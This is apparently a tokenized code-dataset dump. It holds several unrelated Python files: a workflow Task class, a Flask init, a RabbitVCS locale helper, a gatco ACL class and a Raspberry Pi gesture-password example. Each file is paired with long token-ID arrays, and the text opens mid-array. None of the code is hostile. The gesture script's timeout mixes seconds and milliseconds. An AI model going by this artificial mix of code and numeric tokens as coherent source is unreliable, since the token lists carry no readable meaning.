1678,
565,
7442,
29889,
3317,
29898,
26739,
362,
29889,
4650,
29897,
529,
29871,
29896,
29889,
29900,
322,
7442,
29889,
3317,
29898,
13,
462,
9651,
20881,
29918,
3601,
5987,
29889,
4650,
29897,
6736,
29871,
29896,
29889,
29900,
29901,
13,
462,
4706,
6773,
13,
462,
1678,
12420,
29918,
2467,
29892,
1014,
29918,
333,
353,
1583,
29889,
485,
3398,
29918,
2262,
29898,
13,
462,
4706,
15500,
29892,
10092,
29918,
2467,
29897,
13,
462,
1678,
736,
12420,
29918,
2467,
13,
13,
4706,
565,
15500,
338,
451,
6213,
322,
451,
738,
29898,
9302,
29889,
275,
13707,
29898,
26739,
362,
29889,
4650,
22164,
13,
9651,
565,
7442,
29889,
3317,
29898,
26739,
362,
29889,
4650,
29897,
529,
29871,
29900,
29889,
29929,
29946,
322,
7442,
29889,
1384,
29898,
13,
462,
1678,
15500,
29889,
3332,
29877,
29918,
345,
312,
1275,
29871,
29906,
1125,
13,
18884,
9210,
353,
29871,
29900,
13,
18884,
363,
1014,
29918,
333,
29892,
1014,
29918,
20461,
29918,
1949,
297,
26985,
29898,
26739,
362,
29889,
1491,
29918,
3888,
1125,
13,
462,
1678,
1014,
29918,
3332,
29877,
353,
1583,
29889,
1491,
29918,
3332,
29877,
29918,
8977,
29961,
1491,
29918,
333,
29962,
13,
13,
462,
1678,
565,
7442,
29889,
1384,
29898,
13,
462,
9651,
1014,
29918,
3332,
29877,
1275,
29871,
29906,
13,
462,
1678,
1723,
322,
15500,
29889,
2230,
29918,
11083,
29918,
1111,
1025,
776,
29918,
1491,
29961,
1491,
29918,
333,
29962,
1275,
29871,
29900,
29901,
13,
462,
4706,
1014,
29918,
3332,
29877,
353,
7442,
29889,
3062,
29898,
1491,
29918,
3332,
29877,
1275,
29871,
29906,
29892,
29871,
29896,
29892,
13,
462,
462,
9651,
1014,
29918,
3332,
29877,
29897,
29871,
396,
3593,
29871,
29906,
304,
3593,
29871,
29896,
13,
462,
4706,
1014,
29918,
3332,
29877,
353,
7442,
29889,
3062,
29898,
13,
462,
9651,
1014,
29918,
3332,
29877,
1275,
448,
29896,
29892,
29871,
29900,
29892,
13,
462,
9651,
1014,
29918,
3332,
29877,
29897,
29871,
396,
1016,
29915,
29873,
437,
3158,
297,
3593,
10457,
29896,
13,
462,
4706,
337,
2917,
29918,
1491,
353,
1583,
29889,
2467,
29918,
3493,
3319,
13,
462,
9651,
376,
842,
29918,
8262,
1115,
426,
13,
462,
18884,
376,
22492,
800,
29918,
333,
1115,
17288,
1491,
29918,
333,
29892,
1014,
29918,
3332,
29877,
4638,
13,
462,
9651,
500,
13,
462,
4706,
5615,
13,
13,
462,
4706,
20881,
29918,
3601,
5987,
29892,
20751,
29918,
3601,
5987,
29892,
2309,
29918,
3601,
5987,
29892,
5235,
29918,
3601,
5987,
353,
15500,
29889,
3601,
5987,
29898,
13,
462,
9651,
337,
2917,
29918,
1491,
29897,
13,
462,
4706,
15500,
3032,
26290,
29918,
6272,
3032,
12071,
29918,
517,
29918,
12683,
29918,
3859,
580,
13,
462,
4706,
4974,
451,
5235,
29918,
3601,
5987,
29961,
13,
462,
9651,
525,
275,
29918,
309,
12018,
2033,
322,
451,
5235,
29918,
3601,
5987,
1839,
275,
29918,
14727,
681,
2033,
13,
13,
462,
4706,
565,
451,
2309,
29918,
3601,
5987,
322,
20881,
29918,
3601,
5987,
338,
451,
6213,
322,
451,
738,
29898,
13,
462,
18884,
7442,
29889,
275,
13707,
29898,
26290,
29918,
3601,
5987,
29889,
4650,
22164,
13,
462,
9651,
565,
7442,
29889,
3317,
29898,
26290,
29918,
3601,
5987,
29889,
4650,
29897,
529,
29871,
29900,
29889,
29929,
29945,
29901,
13,
462,
18884,
736,
337,
2917,
29918,
1491,
13,
462,
9651,
1683,
29901,
13,
462,
18884,
1209,
13,
4706,
3158,
29892,
1014,
29918,
333,
353,
1583,
29889,
485,
3398,
29918,
2262,
29898,
26739,
362,
29897,
13,
4706,
736,
3158,
13,
2
] |
sweeper/task.py | dominoFire/sweeper | 0 | 85664 | __author__ = '@dominofire'
class Task:
"""
Represents a task in the workflow
"""
def __init__(self, name, cmd):
self.name = name
""" A name for the task that is unique among workflow scope """
self.command = cmd
""" A valid bash command to be executed """
# Used in workflow management
self.parents = []
""" A list of Tasks that immediately precedes this task in the Workflow """
# Used in workflow management
self.successors = []
""" A list of Tasks that immediately precedes this task in the Workflow """
self.dependency_names = []
""" A list of strings that contains the names of the most inmediate tasks that depends this Task """
self.complexity_factor = 1
""" A measurement that represents how difficult is this Task. A high value on the complexity factor
means that it will take more time and resources to completely execute this task"""
self.grid_params = {}
""" Parameters used in this task. If it is not empty, this task is generated by Grid Search"""
self.param_grid = {}
""" Parameter Grid to be expanded in this task """
self.include_files = []
""" Paths that points to files required to execute this task """
self.download_files = []
""" Paths that downloads files stored in the cloud """
def add_parent(self, task):
self.parents.append(task)
def add_successor(self, task):
self.successors.append(task)
def __eq__(self, other):
if not isinstance(other, Task):
return False
return self.name == other.name
def __hash__(self):
"""
Useful for building dictionaries an sets
:return:
"""
return self.name.__hash__()
def __repr__(self):
return 'Task:{0}'.format(self.name)
def __str__(self):
return self.__repr__()
| [
1,
4770,
8921,
1649,
353,
18803,
24130,
974,
533,
29915,
13,
13,
13,
1990,
9330,
29901,
13,
1678,
9995,
13,
1678,
830,
4569,
1237,
263,
3414,
297,
278,
27321,
13,
1678,
9995,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1024,
29892,
9920,
1125,
13,
4706,
1583,
29889,
978,
353,
1024,
13,
4706,
9995,
319,
1024,
363,
278,
3414,
393,
338,
5412,
4249,
27321,
6874,
9995,
13,
4706,
1583,
29889,
6519,
353,
9920,
13,
4706,
9995,
319,
2854,
10891,
1899,
304,
367,
8283,
9995,
13,
4706,
396,
501,
8485,
297,
27321,
10643,
13,
4706,
1583,
29889,
862,
1237,
353,
5159,
13,
4706,
9995,
319,
1051,
310,
9330,
29879,
393,
7389,
9399,
267,
445,
3414,
297,
278,
5244,
1731,
9995,
13,
4706,
396,
501,
8485,
297,
27321,
10643,
13,
4706,
1583,
29889,
8698,
943,
353,
5159,
13,
4706,
9995,
319,
1051,
310,
9330,
29879,
393,
7389,
9399,
267,
445,
3414,
297,
278,
5244,
1731,
9995,
13,
4706,
1583,
29889,
10836,
29918,
7039,
353,
5159,
13,
4706,
9995,
319,
1051,
310,
6031,
393,
3743,
278,
2983,
310,
278,
1556,
297,
13847,
9595,
393,
7111,
445,
9330,
9995,
13,
4706,
1583,
29889,
19676,
537,
29918,
19790,
353,
29871,
29896,
13,
4706,
9995,
319,
20039,
393,
11524,
920,
5189,
338,
445,
9330,
29889,
319,
1880,
995,
373,
278,
13644,
7329,
13,
4706,
2794,
393,
372,
674,
2125,
901,
931,
322,
7788,
304,
6446,
6222,
445,
3414,
15945,
29908,
13,
4706,
1583,
29889,
7720,
29918,
7529,
353,
6571,
13,
4706,
9995,
12662,
2699,
1304,
297,
445,
3414,
29889,
960,
372,
338,
451,
4069,
29892,
445,
3414,
338,
5759,
491,
11657,
11856,
15945,
29908,
13,
4706,
1583,
29889,
3207,
29918,
7720,
353,
6571,
13,
4706,
9995,
24953,
11657,
304,
367,
17832,
297,
445,
3414,
9995,
13,
4706,
1583,
29889,
2856,
29918,
5325,
353,
5159,
13,
4706,
9995,
10802,
29879,
393,
3291,
304,
2066,
3734,
304,
6222,
445,
3414,
9995,
13,
4706,
1583,
29889,
10382,
29918,
5325,
353,
5159,
13,
4706,
9995,
10802,
29879,
393,
5142,
29879,
2066,
6087,
297,
278,
9570,
9995,
13,
13,
1678,
822,
788,
29918,
3560,
29898,
1311,
29892,
3414,
1125,
13,
4706,
1583,
29889,
862,
1237,
29889,
4397,
29898,
7662,
29897,
13,
13,
1678,
822,
788,
29918,
8698,
272,
29898,
1311,
29892,
3414,
1125,
13,
4706,
1583,
29889,
8698,
943,
29889,
4397,
29898,
7662,
29897,
13,
13,
1678,
822,
4770,
1837,
12035,
1311,
29892,
916,
1125,
13,
4706,
565,
451,
338,
8758,
29898,
1228,
29892,
9330,
1125,
13,
9651,
736,
7700,
13,
4706,
736,
1583,
29889,
978,
1275,
916,
29889,
978,
13,
13,
1678,
822,
4770,
8568,
12035,
1311,
1125,
13,
4706,
9995,
13,
4706,
4803,
1319,
363,
5214,
21503,
4314,
385,
6166,
13,
4706,
584,
2457,
29901,
13,
4706,
9995,
13,
4706,
736,
1583,
29889,
978,
17255,
8568,
1649,
580,
13,
13,
1678,
822,
4770,
276,
558,
12035,
1311,
1125,
13,
4706,
736,
525,
5398,
26254,
29900,
29913,
4286,
4830,
29898,
1311,
29889,
978,
29897,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
1583,
17255,
276,
558,
1649,
580,
13,
2
] |
lachesis/__init__.py | j1fig/lachesis | 0 | 159824 | from flask import Flask
app = Flask(__name__)
import lachesis.views
from lachesis.models.database import init_db, clear_db
if __name__ == '__main__':
app.run(debug=True)
| [
1,
515,
29784,
1053,
2379,
1278,
13,
13,
13,
932,
353,
2379,
1278,
22168,
978,
1649,
29897,
13,
13,
13,
5215,
425,
6609,
275,
29889,
7406,
13,
3166,
425,
6609,
275,
29889,
9794,
29889,
9803,
1053,
2069,
29918,
2585,
29892,
2821,
29918,
2585,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
623,
29889,
3389,
29898,
8382,
29922,
5574,
29897,
13,
2
] |
master/rabbitvcs-master/rabbitvcs-master/rabbitvcs/util/_locale.py | AlexRogalskiy/DevArtifacts | 4 | 17477 | <gh_stars>1-10
from __future__ import absolute_import
import locale
import os
from rabbitvcs.util.log import Log
import rabbitvcs.util.settings
import rabbitvcs.util.helper
log = Log("rabbitvcs.util.locale")
def initialize_locale():
try:
settings = rabbitvcs.util.settings.SettingsManager()
sane_default = locale.getdefaultlocale(['LANG', 'LANGUAGE'])
# Just try to set the default locale for the user
locale.setlocale(locale.LC_ALL, sane_default)
# Now, if the user has set a default, try to apply that
user_default = settings.get("general", "language")
if user_default:
locale.setlocale(locale.LC_ALL, (user_default, sane_default[1]))
except locale.Error:
# If the user's environment does not specify an encoding, Python will
# pick a default which might not be available. It seems to pick
# ISO8859-1 (latin1), but UTF8 is a better idea on GNU/Linux.
log.warning("Could not set default locale (LANG: %s)" % os.environ.get("LANG"))
(loc, enc) = sane_default
# We should only try this if we have a region to set as well.
if loc and enc != "UTF8":
try:
locale.setlocale(locale.LC_ALL, (loc, "UTF8"))
log.warning("Manually set encoding to UTF-8")
except locale.Error:
# Nope, no UTF8 either.
log.warning("Could not set user's locale to UTF-8")
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
3166,
4770,
29888,
9130,
1649,
1053,
8380,
29918,
5215,
13,
5215,
15068,
13,
5215,
2897,
13,
13,
3166,
27127,
277,
29894,
2395,
29889,
4422,
29889,
1188,
1053,
4522,
13,
5215,
27127,
277,
29894,
2395,
29889,
4422,
29889,
11027,
13,
5215,
27127,
277,
29894,
2395,
29889,
4422,
29889,
20907,
13,
13,
1188,
353,
4522,
703,
336,
1327,
277,
29894,
2395,
29889,
4422,
29889,
23337,
1159,
13,
13,
1753,
11905,
29918,
23337,
7295,
13,
1678,
1018,
29901,
13,
4706,
6055,
353,
27127,
277,
29894,
2395,
29889,
4422,
29889,
11027,
29889,
9585,
3260,
580,
13,
13,
4706,
269,
1662,
29918,
4381,
353,
15068,
29889,
657,
4381,
23337,
18959,
29931,
19453,
742,
525,
29931,
19453,
29965,
10461,
11287,
13,
13,
4706,
396,
3387,
1018,
304,
731,
278,
2322,
15068,
363,
278,
1404,
13,
4706,
15068,
29889,
842,
23337,
29898,
23337,
29889,
12182,
29918,
9818,
29892,
269,
1662,
29918,
4381,
29897,
13,
13,
4706,
396,
2567,
29892,
565,
278,
1404,
756,
731,
263,
2322,
29892,
1018,
304,
3394,
393,
13,
4706,
1404,
29918,
4381,
353,
6055,
29889,
657,
703,
17492,
613,
376,
11675,
1159,
13,
4706,
565,
1404,
29918,
4381,
29901,
13,
9651,
15068,
29889,
842,
23337,
29898,
23337,
29889,
12182,
29918,
9818,
29892,
313,
1792,
29918,
4381,
29892,
269,
1662,
29918,
4381,
29961,
29896,
12622,
13,
1678,
5174,
15068,
29889,
2392,
29901,
13,
4706,
396,
960,
278,
1404,
29915,
29879,
5177,
947,
451,
6084,
385,
8025,
29892,
5132,
674,
13,
4706,
396,
5839,
263,
2322,
607,
1795,
451,
367,
3625,
29889,
739,
2444,
304,
5839,
13,
4706,
396,
17723,
29947,
29947,
29945,
29929,
29899,
29896,
313,
5066,
262,
29896,
511,
541,
18351,
29947,
338,
263,
2253,
2969,
373,
15143,
29914,
24085,
29889,
13,
4706,
1480,
29889,
27392,
703,
23323,
451,
731,
2322,
15068,
313,
29931,
19453,
29901,
1273,
29879,
5513,
1273,
2897,
29889,
21813,
29889,
657,
703,
29931,
19453,
5783,
13,
308,
13,
4706,
313,
2029,
29892,
2094,
29897,
353,
269,
1662,
29918,
4381,
13,
308,
13,
4706,
396,
1334,
881,
871,
1018,
445,
565,
591,
505,
263,
5120,
304,
731,
408,
1532,
29889,
13,
4706,
565,
1180,
322,
2094,
2804,
376,
10496,
29947,
1115,
13,
9651,
1018,
29901,
13,
18884,
15068,
29889,
842,
23337,
29898,
23337,
29889,
12182,
29918,
9818,
29892,
313,
2029,
29892,
376,
10496,
29947,
5783,
13,
18884,
1480,
29889,
27392,
703,
2517,
1474,
731,
8025,
304,
18351,
29899,
29947,
1159,
13,
9651,
5174,
15068,
29889,
2392,
29901,
13,
18884,
396,
1939,
412,
29892,
694,
18351,
29947,
2845,
29889,
13,
18884,
1480,
29889,
27392,
703,
23323,
451,
731,
1404,
29915,
29879,
15068,
304,
18351,
29899,
29947,
1159,
13,
2
] |
lib/python3.7/site-packages/gatco_acl/acl.py | teomoney1999/ACT_gatco_project | 0 | 62704 | <reponame>teomoney1999/ACT_gatco_project<filename>lib/python3.7/site-packages/gatco_acl/acl.py<gh_stars>0
from .models import Ability
from .exceptions import AccessDenied
class ACL(object):
"""This class is used to control the Abilities Integration to one or more Gatco applications"""
def __init__(self, app=None, **kwargs):
self._authorization_method = None
self.get_current_user = self.default_user_loader
self.app = None
if app is not None:
self.init_app(app, **kwargs)
def get_app(self, reference_app=None):
"""Helper method that implements the logic to look up an application."""
if reference_app is not None:
return reference_app
if self.app is not None:
return self.app
raise RuntimeError('Application not registered on ACL'
' instance and no application bound'
' to current context')
def init_app(self, app, **kwargs):
self.app = app
if not hasattr(self.app, 'extensions'):
self.app.extensions = {}
self.app.extensions['acl'] = self
def default_user_loader(self, request):
raise AccessDenied("Expected user_loader method to be set")
#if hasattr(g, 'current_user'):
# return g.current_user
#elif hasattr(g, 'user'):
# return g.user
#else:
# raise Exception("Excepting current_user on flask's g")
def user_loader(self, value):
"""
Use this method decorator to overwrite the default user loader
"""
self.get_current_user = value
return value
def authorization_method(self, value):
"""
the callback for defining user abilities
"""
self._authorization_method = value
return self._authorization_method
def get_authorization_method(self):
if self._authorization_method is not None:
return self._authorization_method
else:
raise AccessDenied('Expected authorication method to be set')
def ensure(self, request, action, subject):
current_user = self.get_current_user(request)
if self.cannot(request, action, subject):
msg = "{0} does not have {1} access to {2}".format(current_user, action, subject)
raise AccessDenied(msg)
def can(self, request, action, subject):
current_user = self.get_current_user(request)
ability = Ability(current_user, self.get_authorization_method())
return ability.can(action, subject)
def cannot(self, request, action, subject):
return not self.can(request, action, subject) | [
1,
529,
276,
1112,
420,
29958,
371,
290,
4992,
29896,
29929,
29929,
29929,
29914,
17923,
29918,
28818,
1111,
29918,
4836,
29966,
9507,
29958,
1982,
29914,
4691,
29941,
29889,
29955,
29914,
2746,
29899,
8318,
29914,
28818,
1111,
29918,
562,
29880,
29914,
562,
29880,
29889,
2272,
29966,
12443,
29918,
303,
1503,
29958,
29900,
13,
3166,
869,
9794,
1053,
1976,
1793,
13,
3166,
869,
11739,
29879,
1053,
11028,
29315,
1000,
13,
13,
1990,
319,
6154,
29898,
3318,
1125,
13,
13,
1678,
9995,
4013,
770,
338,
1304,
304,
2761,
278,
1976,
9770,
17100,
362,
304,
697,
470,
901,
402,
271,
1111,
8324,
15945,
29908,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
623,
29922,
8516,
29892,
3579,
19290,
1125,
13,
4706,
1583,
3032,
8921,
2133,
29918,
5696,
353,
6213,
13,
4706,
1583,
29889,
657,
29918,
3784,
29918,
1792,
353,
1583,
29889,
4381,
29918,
1792,
29918,
12657,
13,
4706,
1583,
29889,
932,
353,
6213,
13,
4706,
565,
623,
338,
451,
6213,
29901,
13,
9651,
1583,
29889,
2344,
29918,
932,
29898,
932,
29892,
3579,
19290,
29897,
13,
13,
1678,
822,
679,
29918,
932,
29898,
1311,
29892,
3407,
29918,
932,
29922,
8516,
1125,
13,
4706,
9995,
10739,
1158,
393,
10703,
278,
5900,
304,
1106,
701,
385,
2280,
1213,
15945,
13,
13,
4706,
565,
3407,
29918,
932,
338,
451,
6213,
29901,
13,
9651,
736,
3407,
29918,
932,
13,
13,
4706,
565,
1583,
29889,
932,
338,
451,
6213,
29901,
13,
9651,
736,
1583,
29889,
932,
13,
13,
4706,
12020,
24875,
2392,
877,
4873,
451,
15443,
373,
319,
6154,
29915,
13,
462,
965,
525,
2777,
322,
694,
2280,
3216,
29915,
13,
462,
965,
525,
304,
1857,
3030,
1495,
13,
13,
1678,
822,
2069,
29918,
932,
29898,
1311,
29892,
623,
29892,
3579,
19290,
1125,
13,
308,
13,
4706,
1583,
29889,
932,
353,
623,
13,
13,
4706,
565,
451,
756,
5552,
29898,
1311,
29889,
932,
29892,
525,
24299,
29374,
13,
9651,
1583,
29889,
932,
29889,
24299,
353,
6571,
13,
13,
4706,
1583,
29889,
932,
29889,
24299,
1839,
562,
29880,
2033,
353,
1583,
13,
13,
1678,
822,
2322,
29918,
1792,
29918,
12657,
29898,
1311,
29892,
2009,
1125,
13,
4706,
12020,
11028,
29315,
1000,
703,
1252,
6021,
1404,
29918,
12657,
1158,
304,
367,
731,
1159,
13,
4706,
396,
361,
756,
5552,
29898,
29887,
29892,
525,
3784,
29918,
1792,
29374,
13,
4706,
396,
1678,
736,
330,
29889,
3784,
29918,
1792,
13,
4706,
396,
23681,
756,
5552,
29898,
29887,
29892,
525,
1792,
29374,
13,
4706,
396,
1678,
736,
330,
29889,
1792,
13,
4706,
396,
2870,
29901,
13,
4706,
396,
1678,
12020,
8960,
703,
1252,
1547,
292,
1857,
29918,
1792,
373,
29784,
29915,
29879,
330,
1159,
13,
13,
1678,
822,
1404,
29918,
12657,
29898,
1311,
29892,
995,
1125,
13,
4706,
9995,
13,
4706,
4803,
445,
1158,
10200,
1061,
304,
26556,
278,
2322,
1404,
23466,
13,
4706,
9995,
13,
4706,
1583,
29889,
657,
29918,
3784,
29918,
1792,
353,
995,
13,
4706,
736,
995,
13,
13,
1678,
822,
28733,
29918,
5696,
29898,
1311,
29892,
995,
1125,
13,
4706,
9995,
13,
4706,
278,
6939,
363,
16184,
1404,
633,
9770,
13,
4706,
9995,
13,
4706,
1583,
3032,
8921,
2133,
29918,
5696,
353,
995,
13,
4706,
736,
1583,
3032,
8921,
2133,
29918,
5696,
13,
13,
1678,
822,
679,
29918,
8921,
2133,
29918,
5696,
29898,
1311,
1125,
13,
4706,
565,
1583,
3032,
8921,
2133,
29918,
5696,
338,
451,
6213,
29901,
13,
9651,
736,
1583,
3032,
8921,
2133,
29918,
5696,
13,
4706,
1683,
29901,
13,
9651,
12020,
11028,
29315,
1000,
877,
1252,
6021,
4148,
293,
362,
1158,
304,
367,
731,
1495,
13,
308,
13,
1678,
822,
9801,
29898,
1311,
29892,
2009,
29892,
3158,
29892,
4967,
1125,
13,
4706,
1857,
29918,
1792,
353,
1583,
29889,
657,
29918,
3784,
29918,
1792,
29898,
3827,
29897,
13,
4706,
565,
1583,
29889,
29883,
6735,
29898,
3827,
29892,
3158,
29892,
4967,
1125,
13,
9651,
10191,
353,
29850,
29900,
29913,
947,
451,
505,
426,
29896,
29913,
2130,
304,
426,
29906,
29913,
1642,
4830,
29898,
3784,
29918,
1792,
29892,
3158,
29892,
4967,
29897,
13,
9651,
12020,
11028,
29315,
1000,
29898,
7645,
29897,
13,
268,
13,
1678,
822,
508,
29898,
1311,
29892,
2009,
29892,
3158,
29892,
4967,
1125,
13,
4706,
1857,
29918,
1792,
353,
1583,
29889,
657,
29918,
3784,
29918,
1792,
29898,
3827,
29897,
13,
4706,
11509,
353,
1976,
1793,
29898,
3784,
29918,
1792,
29892,
1583,
29889,
657,
29918,
8921,
2133,
29918,
5696,
3101,
13,
4706,
736,
11509,
29889,
3068,
29898,
2467,
29892,
4967,
29897,
13,
632,
13,
268,
13,
1678,
822,
2609,
29898,
1311,
29892,
2009,
29892,
3158,
29892,
4967,
1125,
13,
4706,
736,
451,
1583,
29889,
3068,
29898,
3827,
29892,
3158,
29892,
4967,
29897,
2
] |
python/raspberrypi/examples/gesture_password/gesture_password.py | qusvv/DFRobot_PAJ7620U2 | 0 | 100390 | <filename>python/raspberrypi/examples/gesture_password/gesture_password.py
#-*- coding: utf-8 -*-
'''
@file GesturePassword.py
@brief Write algorithms in fast mode to realize gesture password.
@n Input gesture password in 20sm, if correct, enter the system, otherwise, continue to wait for users to input password.
@n The timeout period can be adjusted via macro TIMEOUT, unit(mm).
@copyright Copyright (c) 2010 DFRobot Co.Ltd (http://www.dfrobot.com)
@licence The MIT License (MIT)
@author Alexander(<EMAIL>)
@version V1.0
@date 2019-07-16
@get from https://www.dfrobot.com
@url https://github.com/DFRobot/DFRobot_PAJ7620U2
'''
import sys
sys.path.append('../../')
import time
from DFRobot_PAJ7620U2 import *
paj = DFRobot_PAJ7620U2(1)
#Input the correct gestures within TIMEOUT period (mm):up up down down left left right right
password = [paj.eGestureUp,paj.eGestureUp,paj.eGestureDown,paj.eGestureDown,paj.eGestureLeft,paj.eGestureLeft,paj.eGestureRight,paj.eGestureRight]
index = 0 #The number of the correctly input password
correct = False #Whether the input password is correct
TIMEOUT=20000 #Set Timeout period, unit(mm)
def setup():
print("Gesture recognition system base on PAJ7620U2")
while(paj.begin() != 0):
print("initial PAJ7620U2 failure! Please check if all the connections are fine, or if the wire sequence is correct?")
sleep(0.5)
print("PAJ7620U2 init finished, start to test the gesture recognition function.")
'''Set to fast detection mode
# If the parameter is set to false, the module enters slow detection mode, and it detects one gesture every 2s. We have integrated
# some gestures inside the module to make it convenient for beginners.
# The slow mode can recognize 9 basic gestures and 4 expanded gestures: move left, right, up, down, forward, backward, clockwise,
# counter-clockwise, wave. slowly move left and right, slowly move up and down, slowly move forward and backward, wave slowly and
# randomly.
#
# If the parameter is set to true, the module enters fast detection mode.
# The fast mode can recognize 9 gestures: move left, right, up, down, forward, backward, clockwise, counter-clockwise, wave
# To detect the combination of these gestures, like wave left, right and left quickly, users needs to design their own algorithms logic.
# Since users only use limited gestures in this mode, we are not going to integrate too much expanded gestures in the library.
# If necessary, you can complete the algorithm logic in the ino file by yourself.
'''
paj.set_gesture_highrate(True);
def loop():
'''Read gesture number (return Gesture type)
# eGestureNone eGestureRight eGestureLeft eGestureUp eGestureDown eGestureForward
# eGestureBackward eGestureClockwise eGestureAntiClockwise eGestureWave eGestureWaveSlowlyDisorder
# eGestureWaveSlowlyLeftRight eGestureWaveSlowlyUpDown eGestureWaveSlowlyForwardBackward
'''
global index
pd_len = len(password)
print("password length=%d"%pd_len);
start_timestamp = time.time();
print("please input the %d gesture"%(index+1))
correct = False
while(correct == False):
now = time.time();
if(now - start_timestamp >= TIMEOUT):
start_timestamp = now;
index = 0;
print("timeout,input again")
print("please input the %d gesture"(index+1))
gesture = paj.get_gesture();
if(gesture == paj.eGestureNone):
continue;
print(paj.gesture_description(gesture));
if(gesture == password[index]):
index = index + 1
print("please input the %d gesture"%(index + 1))
else:
start_timestamp = time.time();
index = 0;
print("gesture password is incorrect, try again")
print("please input the %d gesture"%(index + 1))
if(index == pd_len):
correct = True
print("Unlock all gestures successfully, you have entered the system")
print("To enter the gesture password, you have spent %d seconds"%((time.time()-start_timestamp)/1000))
#TO DO
while True:
pass
if __name__ == "__main__":
setup()
while True:
loop()
| [
1,
529,
9507,
29958,
4691,
29914,
3417,
29886,
16344,
1631,
29914,
19057,
29914,
7118,
545,
29918,
5630,
29914,
7118,
545,
29918,
5630,
29889,
2272,
13,
29937,
29899,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
12008,
13,
29871,
732,
1445,
19817,
545,
10048,
29889,
2272,
13,
29871,
732,
1182,
2575,
14350,
14009,
297,
5172,
4464,
304,
16289,
29502,
4800,
29889,
29871,
13,
29871,
732,
29876,
10567,
29502,
4800,
297,
29871,
29906,
29900,
3844,
29892,
565,
1959,
29892,
3896,
278,
1788,
29892,
6467,
29892,
6773,
304,
4480,
363,
4160,
304,
1881,
4800,
29889,
13,
29871,
732,
29876,
450,
11815,
3785,
508,
367,
10365,
287,
3025,
11758,
323,
8890,
12015,
29892,
5190,
29898,
4317,
467,
29871,
13,
29871,
13,
29871,
732,
8552,
1266,
259,
14187,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29896,
29900,
360,
15860,
711,
327,
3189,
29889,
29931,
1594,
313,
1124,
597,
1636,
29889,
2176,
307,
7451,
29889,
510,
29897,
13,
29871,
732,
506,
663,
268,
450,
341,
1806,
19245,
313,
26349,
29897,
13,
29871,
732,
8921,
418,
9428,
29898,
29966,
26862,
6227,
12948,
13,
29871,
732,
3259,
29871,
478,
29896,
29889,
29900,
13,
29871,
732,
1256,
259,
29906,
29900,
29896,
29929,
29899,
29900,
29955,
29899,
29896,
29953,
13,
29871,
732,
657,
515,
2045,
597,
1636,
29889,
2176,
307,
7451,
29889,
510,
13,
29871,
732,
2271,
2045,
597,
3292,
29889,
510,
29914,
4037,
21860,
327,
29914,
4037,
21860,
327,
29918,
7228,
29967,
29955,
29953,
29906,
29900,
29965,
29906,
13,
12008,
13,
13,
5215,
10876,
13,
9675,
29889,
2084,
29889,
4397,
877,
21546,
1495,
13,
5215,
931,
13,
3166,
360,
15860,
711,
327,
29918,
7228,
29967,
29955,
29953,
29906,
29900,
29965,
29906,
1053,
334,
13,
13,
29886,
1175,
353,
360,
15860,
711,
327,
29918,
7228,
29967,
29955,
29953,
29906,
29900,
29965,
29906,
29898,
29896,
29897,
13,
13,
29937,
4290,
278,
1959,
7737,
1973,
2629,
323,
8890,
12015,
3785,
313,
4317,
1125,
786,
701,
1623,
1623,
2175,
2175,
1492,
1492,
13,
5630,
353,
518,
29886,
1175,
29889,
29872,
24110,
3373,
29892,
29886,
1175,
29889,
29872,
24110,
3373,
29892,
29886,
1175,
29889,
29872,
24110,
6767,
29892,
29886,
1175,
29889,
29872,
24110,
6767,
29892,
29886,
1175,
29889,
29872,
24110,
8091,
29892,
29886,
1175,
29889,
29872,
24110,
8091,
29892,
29886,
1175,
29889,
29872,
24110,
7341,
29892,
29886,
1175,
29889,
29872,
24110,
7341,
29962,
13,
13,
2248,
353,
29871,
29900,
4706,
396,
1576,
1353,
310,
278,
5149,
1881,
4800,
29871,
13,
15728,
353,
7700,
29871,
396,
8809,
1979,
278,
1881,
4800,
338,
1959,
29871,
13,
15307,
12015,
29922,
29906,
29900,
29900,
29900,
29900,
1678,
396,
2697,
5974,
449,
3785,
29892,
5190,
29898,
4317,
29897,
13,
13,
1753,
6230,
7295,
13,
29871,
1596,
703,
24110,
19679,
1788,
2967,
373,
17687,
29967,
29955,
29953,
29906,
29900,
29965,
29906,
1159,
13,
29871,
1550,
29898,
29886,
1175,
29889,
463,
580,
2804,
29871,
29900,
1125,
13,
1678,
1596,
703,
11228,
17687,
29967,
29955,
29953,
29906,
29900,
29965,
29906,
10672,
29991,
3529,
1423,
565,
599,
278,
12368,
526,
2691,
29892,
470,
565,
278,
8014,
5665,
338,
1959,
29973,
1159,
13,
1678,
8709,
29898,
29900,
29889,
29945,
29897,
13,
259,
13,
29871,
1596,
703,
7228,
29967,
29955,
29953,
29906,
29900,
29965,
29906,
2069,
7743,
29892,
1369,
304,
1243,
278,
29502,
19679,
740,
23157,
13,
259,
13,
29871,
14550,
2697,
304,
5172,
15326,
4464,
29871,
13,
259,
396,
960,
278,
3443,
338,
731,
304,
2089,
29892,
278,
3883,
24395,
5232,
15326,
4464,
29892,
322,
372,
6459,
29879,
697,
29502,
1432,
29871,
29906,
29879,
29889,
1334,
505,
23387,
13,
259,
396,
777,
7737,
1973,
2768,
278,
3883,
304,
1207,
372,
19192,
363,
1812,
16697,
29889,
1678,
13,
259,
396,
450,
5232,
4464,
508,
18720,
29871,
29929,
29871,
6996,
7737,
1973,
322,
29871,
29946,
17832,
7737,
1973,
29901,
4337,
2175,
29892,
1492,
29892,
701,
29892,
1623,
29892,
6375,
29892,
1250,
1328,
29892,
12006,
3538,
29892,
13,
259,
396,
6795,
29899,
13058,
3538,
29892,
10742,
29889,
14205,
4337,
2175,
322,
1492,
29892,
14205,
4337,
701,
322,
1623,
29892,
14205,
4337,
6375,
322,
1250,
1328,
29892,
10742,
14205,
322,
29871,
13,
259,
396,
20459,
29889,
13,
259,
396,
13,
259,
396,
960,
278,
3443,
338,
731,
304,
1565,
29892,
278,
3883,
24395,
5172,
15326,
4464,
29889,
29871,
13,
259,
396,
450,
5172,
4464,
508,
18720,
29871,
29929,
7737,
1973,
29901,
4337,
2175,
29892,
1492,
29892,
701,
29892,
1623,
29892,
6375,
29892,
1250,
1328,
29892,
12006,
3538,
29892,
6795,
29899,
